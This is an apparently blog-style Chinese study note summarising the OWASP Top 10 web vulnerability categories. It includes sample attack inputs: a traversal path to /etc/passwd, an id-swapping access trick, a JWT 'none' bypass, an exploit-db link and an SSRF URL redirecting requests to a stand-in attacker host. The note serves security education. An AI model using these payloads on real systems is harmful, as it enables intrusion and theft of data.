失效的访问控制
失败的访问控制通常会导致未经授权的信息泄露、修改或销毁所有数据、或在用户权限之外执行业务功能
常见的漏洞利用:
文件包含、目录遍历(../../../etc/passwd)
(两者区别:目录遍历是文件本身,文件包含是显示在html页 面下的内容)
水平越权(权限绕过)
垂直越权(权限提升)
不安全直接对象的引用(''?id=1'改为'?id=2')
加密失败
敏感数据泄露
注入
注入通常指在可输入参数的地方,通过构造恶意代码,进而威胁数据库安全以及Web安全等
SQL注入
控制数据库
命令注入
向系统传递命令,操控服务器
不安全设计
不安全设计是指应用程序架构固有的漏洞。整个应用程序(或其一部分)背后的想法从一开始就有缺陷。缺少不安全的设计是缺少控制的地方
安全配置错误
安全配置错误可以发生在一个应用程序堆栈的任何层面,包括平台,Web服务器,应用服务器,数据库,框架和自定义代码。
安全错误配置包括:
云服务(例如S3存储桶)的权限配置不当。
启用不必要的功能,例如服务、页面、帐户或权限。
密码未更改的默认帐户。
错误消息过于详细,允许攻击者找到有关系统的更多信息。
不使用HTTP安全标头。
自带缺陷和过时的组件
使用带有历史版本漏洞或版本过旧的组件,很容易遭受历史漏洞和0day的攻击。
https://www.exploit-db.com/exploits/41962漏洞库
身份识别和身份验证错误
通过错误使用应用程序的身份认证和会话管理功能,攻击者能够破译密码、密钥或会话令牌,或者利用其它开发缺陷来暂时性或永久性冒充其他用户的身份。
软件和数据完整性故障
软件完整性
服务器通过js引用外部库,当外部库被植入恶意程序,任何访问服务器的浏览器都会被植入恶意代码
数据完整性
可篡改数据
JWT验证完整性,可以none方法绕过
安全日志和监控故障
指没有正确使用或者没有使用日志记录和监控,进而无法正确检测或判断入侵等异常行为。
服务端请求伪造(SSRF)
服务器端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤和限制。攻击者利用此漏洞由服务器发起恶意请求。常被利用于对内网的探测和攻击。
https://www.mysite.com/sms?server=attacker.thm&msg=ABC——>https://attacker.thm/api/send?msg=ABC
网友评论